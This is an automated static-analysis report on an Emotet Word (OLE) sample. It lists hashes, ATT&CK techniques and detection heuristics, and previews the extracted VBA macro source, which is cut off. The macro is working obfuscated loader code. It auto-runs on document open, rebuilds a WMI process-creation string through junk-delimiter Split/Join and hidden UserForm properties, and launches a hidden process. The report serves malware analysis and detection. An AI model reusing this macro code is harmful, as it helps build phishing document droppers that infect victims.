Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bac9a9d3b5783ae7…

MALICIOUS

Office (OLE)

230.4 KB Created: 2020-08-11 06:23:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 43b60819d3d59b6a8c42de8b67762081 SHA-1: 148023416c42b233531def90f4bae5d4921bb294 SHA-256: bac9a9d3b5783ae78298bfd2e768bbca94c8d87986fc65ffe746ed49ccd32c6c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, specifically a Document_Open macro designed to execute a command stager. This stager utilizes CreateObject and UserForm hidden properties, indicative of Emotet's typical behavior for downloading and executing further malicious content. The ClamAV detection explicitly names Emotet, reinforcing this family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9268575-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9268575-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4342 bytes
SHA-256: 47d91077ac6165a41af935fdbd8ef455418b73eb41c5a8eae13f8df0e40bfed3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KTUGQisciwcrek"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
EPMFHmkeolowtbjwt.EMARRnnpjgpt
End Sub


Attribute VB_Name = "EPMFHmkeolowtbjwt"
Attribute VB_Base = "0{6906BC7D-4CE8-48F6-AB4A-0931FF5DCF5D}{41F1D532-3B6C-42E7-93EA-8F38DD576851}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function EMARRnnpjgpt()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
AIFEDawlrzgslxhgh = EPMFHmkeolowtbjwt.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
BLVXZcqtovzsipic = ChrW(AIFEDawlrzgslxhgh + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
UYSBUwyrjonmhozko = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + BLVXZcqtovzsipic + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + EPMFHmkeolowtbjwt.SMHGWhxnvjlzjnihigt + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
GKIVNmpzuqfbrmfhmfm = ORSVBifrywimt(UYSBUwyrjonmhozko)
Dim JtF1ÔVIsgfW As Variant
Set JKHIIdsjgmqwuzsi = CreateObject(GKIVNmpzuqfbrmfhmfm)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
MBEXFlizinay = EPMFHmkeolowtbjwt.CFNUHmxlsgqnvaigfiq.ControlTipText
Dim aKHZFGTowB As Currency
VHFCStnfzcepvhwcez = m2m3b5 + (GKIVNmpzuqfbrmfhmfm + BLVXZcqtovzsipic + EPMFHmkeolowtbjwt.IKBLKwvwuidzm.ControlTipText + MBEXFlizinay)
Dim fIspInaCW As String
ZPRFPfqkvwhaps = VHFCStnfzcepvhwcez + EPMFHmkeolowtbjwt.SMHGWhxnvjlzjnihigt
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set TSEAShynjbfbir = OPUPMdrtznogkpo(ZPRFPfqkvwhaps)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", JKHIIdsjgmqwuzsi. _
Create(KOBWUximxhuxiadpsk, AVSGYoqboyygzj, TSEAShynjbfbir), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function KOBWUximxhuxiadpsk()
n21bh3 = EPMFHmkeolowtbjwt.VNCWHxkhjjxxt.Pages(vbOK).Caption
KOBWUximxhuxiadpsk = ORSVBifrywimt(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function OPUPMdrtznogkpo(BLMBMcvutctnmmmren)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set OPUPMdrtznogkpo = CreateObject(BLMBMcvutctnmmmren)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
OPUPMdrtznogkpo. _
showwindow = VCEQDiivruvenbvqpug + NXFPOhmepegr
Dim UMbU As Object
End Function
Function ORSVBifrywimt(VYRNXpllxfjownm)
JUJDRjtwmoeiftb = VYRNXpllxfjownm
Dim ZvdC As Currency
NKBLYmtzvkjegmaw = Split _
(JUJDRjtwmoeiftb, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
XHVDWlutnomt = mmm2 + Join(NKBLYmtzvkjegmaw, msnj2)
Dim r4áAANisy As Integer
r4áA
... (truncated)

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